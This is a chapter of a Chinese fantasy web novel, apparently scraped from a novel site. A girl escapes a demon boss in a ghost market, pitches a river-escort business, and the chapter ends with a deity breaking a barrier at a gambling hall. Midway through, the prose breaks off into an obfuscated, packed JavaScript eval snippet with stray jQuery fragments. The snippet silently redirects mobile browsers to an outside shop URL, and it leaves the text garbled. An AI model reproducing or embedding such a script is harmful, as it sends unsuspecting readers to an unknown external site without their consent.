文趣网 > 其他小说 > 帝君他道心失守 > 12. 疾行
    祝今照仰起脸,凉刃抵在她下颌,冷汗顺着鬓发淌下来。

    她背在身后的双手,一点一点往袖里摸。

    有一道解缚符,能让绳子脱开。

    嘴里却不停,只盼能拖一拖她的注意:“衣老板,不想知道,你妹妹如今身在何处么?”

    她把阿绒收在一道储物符里。

    衣娘划着她下颌的手微微一顿:“难道在你手里?”

    祝今照:“不然呢?衣老板觉得,我凭什么敢来你这儿。”

    衣娘重新低下眼,仔仔细细打量了她一遭。

    眉梢轻轻挑了挑,竟笑了一下:“原来是有备而来。不是个傻子。”

    她慢悠悠将匕首收回袖中,站起了身。

    俯身拎起祝今照的后领,便往外走。步子若无其事,像是手里抓着的不是人,是一件不紧要的物件。

    祝今照被衣领勒得气都要喘不上来,唇瓣微微张着,一下下轻咳。

    短靴胡乱踢打着地面,被她狼狈地拖着往前。

    一路拖到空旷的前厅。

    衣娘扬手一丢,将她抛在地板上。

    祝今照俯在地面,拼命喘息。

    衣娘看也不看她,只望向靠墙立着的一排小妖:“搜她的身。”

    众妖齐应了声是,抬脚便围上来。

    “别过来!”

    祝今照猛地直起身,缚在身后的绳索不知何时已滑落在地。

    颤着指尖捏了一道诀,蓝紫色的灵光在指尖一闪,一只三彩陶俑便幻在了手心。

    她仰脸瞪着衣娘:“这就是你妹妹。你再敢近一步,我现下便弄死它!”

    衣娘垂眸看着她:“怎么证明?”

    祝今照颤着手指,又捏了一道诀。

    陶俑滚落在地,咔地破开一道细壳。灵光里头,阿绒化出了半截身子。

    她仰起那张布满烧伤的脸,茫然地左右望着。

    衣娘盯着阿绒看了片刻,又抬起眼,看向祝今照。

    眉梢轻轻一扬,语气里竟似带了几分惊喜:“竟当真是你收的她?”

    祝今照眨了眨眼。

    不对。

    衣娘不该是这副反应罢?

    不该是悲痛欲绝、洒泪认亲么?

    再看阿绒,也不见半分见到姐姐的欣喜。只仰脸呆呆地望着衣娘,身子蠕动着,竟似有往后缩的意思。

    这姐妹俩,怎么回事?

    真是姐妹俩么?原著里分明说,二人关系好得很。

    可眼下哪里是想这个的时候。

    祝今照压住心底的困惑,学着她看过的那些小说里大佬的腔调,冲阿绒喊道:

    “阿绒,你如今捏在我手里。识相的,叫你姐姐将我放了,同我谈生意,莫要敬酒不吃吃罚……啊——!”

    话音未落,她吓得浑身一缩。

    衣娘竟抽出匕首,狠狠扎进了阿绒的脖颈。

    噗哧——

    阿绒瞪圆了那双死灰的眼,双手颤巍巍地摸向自己的脖子。

    匕首猛地抽出,尸水滋地喷起来,溅了三尺高。

    阿绒倒在地上,身子一寸一寸,干瘪下去。

    祝今照猛地站起身,往后退了一步。

    衣娘接过小妖递来的绢子,慢条斯理擦着匕首:“还有什么招数?”

    祝今照抬眼看衣娘,难以置信道:“她是你妹妹啊……她顶着杀人的名头,替你供货,助你开铺子,你竟就这样杀了她。你简直,丧尽天良。”

    衣娘像听了个极好笑的笑话,嗤笑了声,道:“这便是鬼市啊。连这都受不住,还敢来鬼市谈生意?”

    祝今照一把将袖中符纸全拽了出来,低下脑袋,颤着手指飞快地翻。

    民间防身用的符纸,防御技能比攻击技能要强悍得多。她要找一张逃跑的。

    衣娘被她这旁若无人的举动逗笑了。站在那儿看她,也不阻止。

    “找什么符呢?我替你瞧瞧?”

    祝今照手上翻得更快了。

    攻击的,攻击的,攻击的……

    怎么全是攻击的!

    衣娘轻轻叹了口气,对旁边的小妖扬了扬手:“杀了她。”

    “是!”

    众妖乌压压围上来。

    祝今照心头猛地一颤。

    攻击就攻击,先动起来啊啊啊!

    她抽出一张请雷符,扬手往虚空里一贴,指诀翻转,大声喝道:“九天雷火,闻呼即至。破!”

    喊完,扭头就跑。

    “站住!”

    身后杂乱的脚步声紧随而来。

    她跌跌撞撞冲出铺门,一步跨下台阶,脚底一震,腿都软了一瞬。也顾不上了,就那么软着腿,一头扎进鬼市幽绿的夜色里,在哄闹的集市当中发足狂奔。

    她心里清楚得很,那张符纸请来的雷火,顶多能烧个柴火,伤不着她们半分……

    咔嚓——!

    一道刺耳的雷声劈断了她的念头。

    眼前霎时被一片白光吞没。

    “啊,怎么回事!”

    她猛地刹住脚,双手下意识捂住了眼睛。

    身后轰隆一声巨响,是房屋倒塌的声音,中间还夹着一片凄厉的哀嚎。

    祝今照揉着眼,模糊的视线里,两边的小妖正尖叫着四散逃窜。有些跑不及的,竟扑通扑通,直接跳进了那道黑乎乎的黄泉水里。

    迷迷糊糊转过身,一股浓重的烟灰扑面而来,呛得她连咳了好几声。

    定睛看去,猛地睁大了眼。

    身后,方圆数百步之内,已被夷为平地。

    房梁歪倒在地上,断裂处还留着烧焦的痕迹。

    碎裂的砖墙之间,散了满地的尸骸,尽是些被打回原形的妖怪。

    衣娘仍站在原地,发丝散乱,唇瓣微张,怔怔盯着脚边的碎尸。

    她周身倒了一圈死去的妖,像是拼死以身护住了她。

    衣娘猛地抬起脸,眼眶微湿,看向祝今照。

    祝今照也慌了,连连摆手:“这、这……抱歉抱歉,我不是故意砸你生意的。”

    她举手挠双髻:“怎么回事啊,北斗真君灌法力手抖了么?不小心给这一张灌过量了?”

    此时,身后忽然传来一片铿锵的脚步声。

    一队妖兵疾奔而来,鱼贯排在衣娘两侧。

    乌压压一片,少说也有上千号。气势壮观。

    众妖齐刷刷垂首,朝衣娘喊道:“尊主!”

    祝今照杏眼连眨了好几下:

    “衣娘不是个小喽啰么?如今小喽啰都有这般排场了?”

    衣娘缓缓举起宽大的袖摆,指向她:“拿下。”

    “这下完了。”祝今照生无可恋地喃喃了一声。

    她快哭了:“还谈什么生意。”

    转身便狂奔。

    身后脚步声轰隆隆追上来,滚雷一般。

    她一面没命地跑,一面狂翻符纸。

    那些不顶用的,被她扬手就丢,呼啦啦散了满空。

    “找到了!”

    指尖捻出一张疾奔符。

    她急急捏诀,大声喊道:“追风逐电,疾!”

    符纸一亮,脚下猛地窜了出去。

    两边摊位霎时化作残影,妖怪们诡异的叫卖声,叽叽咕咕从耳畔划过去。

    越跑越快,快得刹都刹不住。

    她吓得大叫起来:“啊——!”

    不过数息工夫,前头竟又出现了衣娘和那群妖兵的身影。

    ——她已绕着鬼市跑了整整一圈。

    还没来得及喘口气,身子便再次窜了出去。

    众妖兵一个个停下了步子,同衣娘一齐站在原地,呆呆望着那一抹花花绿绿的残影,一圈一圈,从眼前掠过。

    鬼市里安静了片刻,只剩她忽远忽近的叫唤。

    不知转了多少圈,祝今照终于猛地扑倒在地。

    她捂着狂跳的心口,大口大口喘气。

    喘够了,仰起脸来。

    正对上衣娘那张素净的面容。

    祝今照:……

    她弯起眼:“衣老板,我想了想。虽说你铺子没了,可咱们还是能重新做起来的。我出主意,你来做。咱们和气生财,莫要打打杀杀。”

    衣娘似乎对她安身立命的饭碗没了这件事,也不是很在意。

    她半蹲下来瞧祝今照,面容无波无澜。

    垂眸看向散落在地上的那些符纸,她开了口:

    “你这些符纸……莫非是从四大圣尊手里得来的?”

    祝今照眨眨眼:“四大圣尊?谁啊?”

    衣娘眉尖微蹙,盯着她那张懵懂的脸,像是要从里头找出一丝破绽来。

    祝今照水灵灵的眸子转了转,想起来了。

    原著里提过。

    四大圣尊,是北斗宫的客座师尊,属于门派里镇山的名人中本事最大的。分别擅长请雷、呼风、唤雨、掘地。

    没人知道他们已经活了多少年。他们的本事,远远盖过其它门派的修士、长老。

    北斗宫能有今日这般兴旺,除北斗真君的名头外,他们也要占三成功劳。

    祝今照嘿嘿笑道:“怎么会?我就是个寻常小老百姓,连北斗宫的门朝哪开都不知道呢。不过是运气好,买到了质量不太对的符纸罢了。”

    开玩笑。北斗宫可是收妖的——在满是妖的鬼市,承认自己拿着北斗宫的法器,那跟在匪窝里承认自己是条子有什么区别。

    衣娘盯着她看了片刻,淡淡道:“姑且信你。”

    她也怕她再掏出什么骇人的东西来。

    祝今照点头如捣蒜。

    衣娘没再说什么,站了起来。

    祝今照瞧她面容平静,看起来也不怎么生气的样子,便及时地道:“衣老板既然不气了,能不能听听我的生意?”

    衣娘不感兴趣地道:“说来听听。”

    祝今照心中一喜,拍拍膝盖便站了起来。

    “衣老板,您瞧鬼市这些铺面。卖人皮的,接断肢的,借寿命的,夺文才的,卖傀儡的……”

    她抬手指向附近那些灯笼高悬的铺面,一家一家地点过去。

    “有没有瞧出什么规律来?”

    衣娘转眸看向她,神情漠然。

    祝今照弯眼:“对啦!就是它们的客人,通通是达官贵人。”

    “人皮、断肢,起价少说也要十金;傀儡符,那是朝廷里头搞权谋的贵人才用得上的东西;至于寿命和文才,更是从贫苦人身上夺来,卖给那些纨绔子弟。”

    “这是别人赚钱的门道,我也不好多做评判。但这里头有个问题。”

    “客群太窄了。全鬼市的生意,全挤在达官贵人这一片红海里。”

    “头部的铺子日进斗金,尾部甚至腰部的铺子,一年到头也开不了一回张。新人根本出不了头。”

    “再说,这种生意,赚钱的条件也太苛刻。稍不留神,手脚没做干净,便要叫北斗宫顺藤摸瓜找上门来。银子和性命,一并给你没收了。划不来,实在划不来。”

    “咱们不如绕开这些项目,另谋一条出路。要竞争小,最好压根没有竞品;又要叫北斗宫那群讨人嫌的道士,半个错处也挑不出来!”

    “依我看,既然人人都抢着伺候达官贵人,那咱们,不如服务平民百姓!”

    衣娘竟被她这副头头是道的样子吸引住了,不自觉接了一句:

    “平民百姓手里又没银子。服务他们,哪来的钱?”

    祝今照啧了声,朝她挤眼睛,道:

    “平民百姓手里钱是少。可钱少,才想赚钱呀。想赚钱,就有需求,有需求,便有市场。这天下的人里头,平民百姓占了八九成,衣老板,您想想,这得是多大的一个摊子?”

    衣娘的思路不觉被她牵着走了,抬了抬手,疑道:“那……做什么呢?”

    “衣老板,您手底下的小妖,水性好的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500522|202707||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    怕是不少吧?如今官河里水鬼水妖,多得淌水似的,百姓的货船、渡船根本不敢走。可货总得运吧?人总得过河吧?”

    “咱们就来当这个护航官。谁家要运货,交一笔护航费,咱们派小妖随船清道,把沿途的水鬼、挡路的小妖全给赶开,清走。”

    衣娘重新看向她,眉尖诧异地扬了扬。

    祝今照掰着手指头:

    “捉来的妖,不能用的就杀,能用的,咱们收拢来,当伙计用。”

    “这些小妖成日在河里闲晃荡,不是被更强的妖一口吞了,便是被道长收了去,哪有什么出头之日?到了咱们这儿,有活干,有饭吃,定然一百个愿意。”

    “这样一来,船家省了货物被劫的风险,咱们赚了干净的钱,就连妖怪们也有地方去了。北斗宫的道长们非但不会来查,还得谢咱们帮着减轻了他们的差事呢。”

    “零成本,稳利润,还能落下一个合法经营的名声。衣老板,这买卖,不比卖人皮长远?”

    小脸上满是得意。

    衣娘垂下眼眸,像是陷入了什么久远的回忆里。

    良久,她低声开口:“我的先父,也曾为了官河上那些被强征漕运的百姓,辗转奔波。”

    “没想到,五百年后,会有一个小丫头,思考同样的事。”

    祝今照没想到她忽然开启沉重话题。

    而且衣娘不是妖么?

    她是阿绒一把火烧了那朱门之后,由阿绒怨念化形而成的妖,所以才会把阿绒当亲妹妹来爱护。

    哪来的父亲?

    还为百姓奔波,那少说也得是朝廷里的大官了。

    整个鬼市,可能有大官父亲的,只有鬼市头领沈清晏——原著说过,只有她是半人半妖。

    她脑子里虽在胡思乱想,嘴上却已经接上了话:

    “那不正好!咱们不光赚了银子,还能了却令尊的遗愿。想来令尊天上有灵,也要替衣老板高兴呢。”

    衣娘没有被逗笑。她只转眸看了她一眼,平静的眸底,流动着某种说不清的意味。

    祝今照不知道该说什么了,举手挠双髻。

    衣娘自己转开了话题。她理了理宽大的袖摆,淡声问:“说说,你想要什么?”

    祝今照当即弯起了眼:“不多不多。衣老板拨我些人手,我来给您赚银子。赚来的钱,衣老板分我五成利就好。”

    “一成。”

    “啊?!”祝今照杏眼瞪得溜圆。

    衣娘不紧不慢道:“我赚的钱,加上你赚的钱,一起算。分你一成。”

    “不能再多了。你没见过那么多钱,怕你被吓着。”

    谁会叫钱吓着!

    祝今照气得直想深呼吸,脸都皱成了包子:“衣老板,您铺子都没了,哪里还有钱赚呀!”

    “你若不愿,便算了。”

    “别别!我应了,我应了。”

    衣娘如今已没什么进项,那意思便是——她自个儿赚来的钱,只能取一成利。

    她一个刚起步的,一个月十两银子还不知有没有呢。

    一成利,那不就是,一个月顶多赚一两么。

    转念一想,今日她把人家铺子砸了个稀烂,人家还能心平气和坐下来跟她谈生意,好像已经很是厚道了。

    祝今照蔫蔫地耷拉下肩膀。

    衣娘却还没完,又道:“我这一成利,可金贵得很。多少人争着抢着,也得不到。不能叫你这么轻易便拿了去。”

    “还有条件?!”祝今照又瞪圆了眼。

    衣娘慢悠悠踱了两步,回过头来看她:

    “今日万劫坊里,会有一伙阳间的官兵闹事。你若能阻住他们,不叫他们伤了坊里玩乐的公子贵女们,便给你这成利。”

    祝今照愣愣地重复:“万劫坊?”

    她想起来了。

    鬼市最大的赌坊。

    那地方凶险重重,是她能玩得转的么?

    “若是……若是阻不住呢?”

    衣娘轻轻道:“若阻不住,你便死在那坊里头。”

    “啊?!”

    还没等她回过神,衣娘已抬手一挥。

    两个妖兵上前,一左一右架起她便往前走。

    祝今照双腿乱踢,拼命扭回头往后喊:

    “不是,衣老板——那赌坊跟咱们的买卖有什么关系呀?管这闲事作甚——”

    声音已远去了。

    **

    此时,某处无人在意的山脚。

    涧水淙淙,鸟鸣喈喈。

    裴枕寒端坐花丛之间,阖目潜修。

    忽地,灵海深处传来一些画面。

    暗夜,一座灯火通明的宫殿,匾额上书三个大字——万劫坊。

    殿外,一众甲胄官兵正将一群年轻男女往门里赶。

    拎着,拽着,推着,打着,动作粗鲁至极。

    众男女惊叫哭喊着,拼命往殿外挤,却被官兵们抡起长鞭,劈头盖脸地往里抽。

    玄色寒冰砌成的台阶之外,隔着一道赤红的结界。

    北斗宫的修士一个接一个往前撞。不少人已倒在地上,呕血不止。

    呼救声纷乱地传到耳畔。

    “裴真君,救命!”

    “裴郎救我!”

    “裴爷!”

    “北斗爷爷,救命!”

    “裴老爷——显灵啊!”

    裴枕寒指尖灵光流转,飞速捏了一道缩地诀。

    暗夜之中,一道星辰般的蓝紫光炸开在众人面前。

    光焰之间,裴枕寒半蹲于地,一掌击在玄冥石板上。

    道道裂痕从掌心向前蔓延,咔嚓一声,那道众人久攻不破的结界崩裂成碎片,向四面飞溅。

    结界后的甲胄官兵来不及闪避,随着碎片一齐飞了出去。

    众男女愣了一瞬,随即疯狂往外涌。

    众修士面面相觑。

    下一瞬,齐齐跪倒在地:“恭迎帝君!”